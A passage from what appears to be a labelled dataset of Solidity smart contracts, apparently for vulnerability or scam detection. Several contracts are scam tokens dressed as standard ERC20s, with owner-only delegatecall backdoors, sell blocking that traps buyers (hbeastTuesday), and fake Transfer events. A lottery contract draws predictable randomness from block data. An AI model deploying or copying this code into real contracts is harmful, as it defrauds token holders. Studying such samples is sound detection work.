div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract TransparentUpgradeableProxy is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 135000000000000000000000000; string public name = "NFTLAUNCH.network"; string public symbol = "NFTL"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairOfTokens(wrappedEther, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
1
4,142
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; pragma solidity ^0.8.4; contract OKLGWithdrawable is Ownable { function withdrawTokens(address _tokenAddy, uint256 _amount) external onlyOwner { IERC20 _token = IERC20(_tokenAddy); _amount = _amount > 0 ? _amount : _token.balanceOf(address(this)); require(_amount > 0, 'make sure there is a balance available to withdraw'); _token.transfer(owner(), _amount); } function withdrawETH() external onlyOwner { payable(owner()).call{ value: address(this).balance }(''); } } contract BuyBackforRewardsMCCv2 is OKLGWithdrawable { address public constant DEAD = 0x000000000000000000000000000000000000dEaD; address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F; address public oklg = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C; IUniswapV2Router02 private router; uint8 public rewardsPercent = 50; address public treasury = 0xed528FC31f2575312Ec3336E0F6ec9812B534937; uint8 public treasuryPercent = 50; function setRewardsPercent(uint8 _p) external onlyOwner { require(_p + treasuryPercent <= 100, 'total percent must be <= 100'); rewardsPercent = _p; } function setTreasury(address _t) external onlyOwner { treasury = _t; } function setTreasuryPercent(uint8 _p) external onlyOwner { require(_p + rewardsPercent <= 100, 'total percent must be <= 100'); treasuryPercent = _p; } constructor() { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } receive() external payable { if (treasuryPercent > 0) { payable(treasury).call{ value: (msg.value * treasuryPercent) / 100 }(''); } if (rewardsPercent > 0) { this.BuyforRewards(msg.value * rewardsPercent / 100 ); } } function BuyforRewards(uint256 amount) external payable { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = oklg; router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }( 0, path, receiver, block.timestamp ); } function setOklg(address _oklg) external onlyOwner { oklg = _oklg; } function setReceiver(address _receiver) external onlyOwner { receiver = _receiver; } }
1
4,019
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Base { using SafeMath for uint256; uint public createTime = now; address public owner; uint public currentEventId = 1; uint256 public ownerDividend = 0 ; uint256 public thisEther = 0 ; modifier onlyOwner { require(msg.sender == owner); _; } function setOwner(address _newOwner) public onlyOwner { require(msg.sender == tx.origin); userRefund(); owner = _newOwner; } function getEventId() internal returns(uint _result) { _result = currentEventId; currentEventId ++; } function userRefund() public onlyOwner returns(bool _result) { require(msg.sender == tx.origin); if(ownerDividend > 0 ){ msg.sender.transfer(ownerDividend); ownerDividend = 0 ; } return true; } } contract FreeCell is Base{ string constant public name = "FreeCell"; uint256 public curPosition = 0; uint public lastPlayTime = 0; uint public expirationTime = 24 hours; uint256 public BASE_BET_ETHER = 0.01 ether; uint public REWARD_WIN_MULTIPLE_PER = 60; uint public PRE_WIN_MULTIPLE_PER = 30; uint public KING_WIN_MULTIPLE_PER = REWARD_WIN_MULTIPLE_PER + PRE_WIN_MULTIPLE_PER; uint public REWARD_NUM = 200; uint public REWARD_FORWARD_POSITION = REWARD_NUM - 1 ; uint public CELL_ADD_SPACE = 0.0005 ether ; uint public STEP_SIZE = 50 ; uint public MAX_LENGTH = 1000000 ; function FreeCell() public { require(REWARD_WIN_MULTIPLE_PER.add(PRE_WIN_MULTIPLE_PER) < 100) ; require(curPosition == 0); owner = msg.sender; lastPlayTime = now; } struct betInfo { address addr; uint256 card; } mapping (uint256 => betInfo) public playerBetInfoOf; mapping (uint256 => uint256) public resultOf; event OnGetAward(uint256 indexed _position, address indexed _player, uint256 indexed _card, uint256 _prePosition, uint256 _rewardMoney, uint8 _type, uint256 _eventId, uint256 _eventTime); event OnPlay(uint256 indexed _position, address indexed _player, uint256 indexed _card, uint256 _eventId, uint256 _eventTime); function playBatch(uint256 num) public payable returns(bool _result){ require(msg.sender == tx.origin); uint256 userMoney = msg.value; if(now.sub(lastPlayTime) > expirationTime){ getEventId(); address _lastPalayUser = playerBetInfoOf[curPosition].addr ; uint256 _toLastPlayer = _rewardKing(1, MAX_LENGTH,_lastPalayUser,uint8(4)); if(userMoney > 0){ msg.sender.transfer(userMoney); } if(_toLastPlayer > 0 ){ _lastPalayUser.transfer(_toLastPlayer); } lastPlayTime = now ; _result = true; return ; }else{ lastPlayTime = now ; } for(uint256 i = 0;i < num; i++){ (_result,userMoney) = _play(userMoney); if(!_result){ break ; } } if(userMoney > 0){ msg.sender.transfer(userMoney); } } function play() public payable returns(bool _result){ require(msg.sender == tx.origin); uint256 userMoney = msg.value; if(now.sub(lastPlayTime) > expirationTime){ getEventId(); address _lastPalayUser = playerBetInfoOf[curPosition].addr ; uint256 _toLastPlayer = _rewardKing(1, MAX_LENGTH,_lastPalayUser,uint8(4)); if(userMoney > 0){ msg.sender.transfer(userMoney); } if(_toLastPlayer > 0 ){ _lastPalayUser.transfer(_toLastPlayer); } lastPlayTime = now ; _result = true; return ; }else{ lastPlayTime = now ; } (_result,userMoney) = _play(userMoney); require(_result); if(userMoney > 0){ msg.sender.transfer(userMoney); } } function _isKingKong(uint256 _card) private pure returns(bool _result){ _result = false; if(_card % 111111 == 0){ _result = true ; } } function _isStraight(uint256 _card) private pure returns(bool _result){ _result = false; if(_card >= 543210){ if(_isKingKong(_card.sub(12345)) || _isKingKong(_card.sub(543210))){ _result = true ; } }else if(_card > 123455){ if(_isKingKong(_card.sub(12345))){ _result = true ; } }else{ _result = false; } } function viewPosition(uint256 _card) public view returns(uint256 _position) { _position = resultOf[_card]; if(_position > curPosition || playerBetInfoOf[_position].card != _card){ _position = 0 ; } } function viewBetEther(uint256 _position) public view returns(uint256 _betEther) { _betEther = _position.sub(1).div(STEP_SIZE).mul(CELL_ADD_SPACE).add(BASE_BET_ETHER); return _betEther; } function viewNeedBetEther(uint256 num) public view returns(uint256 _betEther) { require(num <= 20) ; return viewSumEther(curPosition.add(1),curPosition.add(num)); } function _sumEther(uint256 _position) private view returns(uint256 _totalEther){ if(_position < STEP_SIZE){ return _position.mul(BASE_BET_ETHER); }else if(_position % STEP_SIZE == 0){ return viewBetEther(_position).add(BASE_BET_ETHER).mul(_position).div(2); }else{ uint256 _remainder = _position % STEP_SIZE; uint256 _bak = _position.sub(_remainder); return viewBetEther(_bak).add(BASE_BET_ETHER).mul(_bak).div(2).add(viewBetEther(_position).mul(_remainder)); } } function viewSumEther(uint256 _prePosition,uint256 _curPosition) public view returns(uint256 _betEther) { if(_prePosition <= 1){ return _sumEther(_curPosition); } return _sumEther(_curPosition).sub(_sumEther(_prePosition.sub(1))); } function _play(uint256 _userMoney) private returns(bool _result,uint256 _toUserMoney){ _result = false; _toUserMoney = _userMoney; uint256 _betEther = viewBetEther(curPosition.add(1)); if(_toUserMoney < _betEther){ return (_result,_toUserMoney); } curPosition++; _toUserMoney= _toUserMoney.sub(_betEther); thisEther = thisEther.add(_betEther); uint256 seed = uint256( keccak256( block.timestamp, block.difficulty, uint256(keccak256(block.coinbase))/(now), block.gaslimit, uint256(keccak256(msg.sender))/ (now), block.number, _betEther, getEventId(), gasleft() ) ); uint256 _card = seed % MAX_LENGTH; emit OnPlay(curPosition, msg.sender, _card, currentEventId, now); uint256 _toRewardPlayer = 0; if(_isKingKong(_card) || _isStraight(_card)){ if(curPosition > REWARD_FORWARD_POSITION){ uint256 _prePosition = curPosition.sub(REWARD_FORWARD_POSITION); }else{ _prePosition = 1; } _toRewardPlayer = _rewardKing(_prePosition, _card,msg.sender,uint8(3)); _toUserMoney= _toUserMoney.add(_toRewardPlayer); _result = true; return (_result,_toUserMoney); } _prePosition = resultOf[_card]; if(_prePosition != 0 && _prePosition < curPosition && playerBetInfoOf[_prePosition].card == _card ){ _toRewardPlayer = _reward(_prePosition, _card); _toUserMoney= _toUserMoney.add(_toRewardPlayer); _result = true; return (_result,_toUserMoney); }else{ betInfo memory bi = betInfo({ addr : msg.sender, card : _card }); playerBetInfoOf[curPosition] = bi; resultOf[_card]=curPosition; _result = true; return (_result,_toUserMoney); } } function _reward(uint256 _prePosition,uint256 _card) private returns(uint256 _toRewardPlayer){ _toRewardPlayer = 0; require(_prePosition >= 1); betInfo memory bi = playerBetInfoOf[_prePosition]; require(bi.addr != 0x0); uint256 _sumRewardMoney = viewSumEther(_prePosition, curPosition); _toRewardPlayer = _sumRewardMoney.mul(REWARD_WIN_MULTIPLE_PER).div(100) ; uint256 _toPrePlayer = _sumRewardMoney.mul(PRE_WIN_MULTIPLE_PER).div(100) ; uint256 _toOwner = _sumRewardMoney.sub(_toRewardPlayer).sub(_toPrePlayer); emit OnGetAward(curPosition,msg.sender,_card,_prePosition,_toRewardPlayer,uint8(1),currentEventId,now); emit OnGetAward(_prePosition,bi.addr,_card,curPosition,_toPrePlayer,uint8(2),currentEventId,now); curPosition = _prePosition.sub(1); thisEther = thisEther.sub(_sumRewardMoney); ownerDividend = ownerDividend.add(_toOwner); if(msg.sender != bi.addr){ bi.addr.transfer(_toPrePlayer); }else{ _toRewardPlayer = _toRewardPlayer.add(_toPrePlayer); } } function _rewardKing(uint256 _prePosition,uint256 _card, address _user,uint8 _type) private returns(uint256 _toRewardPlayer){ _toRewardPlayer = 0; require(_prePosition >= 1); uint256 _sumRewardMoney = viewSumEther(_prePosition, curPosition); _toRewardPlayer = _sumRewardMoney.mul(KING_WIN_MULTIPLE_PER).div(100) ; uint256 _toOwner = _sumRewardMoney.sub(_toRewardPlayer); emit OnGetAward(curPosition,_user,_card,_prePosition,_toRewardPlayer,_type,currentEventId,now); curPosition = _prePosition.sub(1); thisEther = thisEther.sub(_sumRewardMoney); ownerDividend = ownerDividend.add(_toOwner); } }
0
285
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract hbeastTuesday { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
4,344
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { 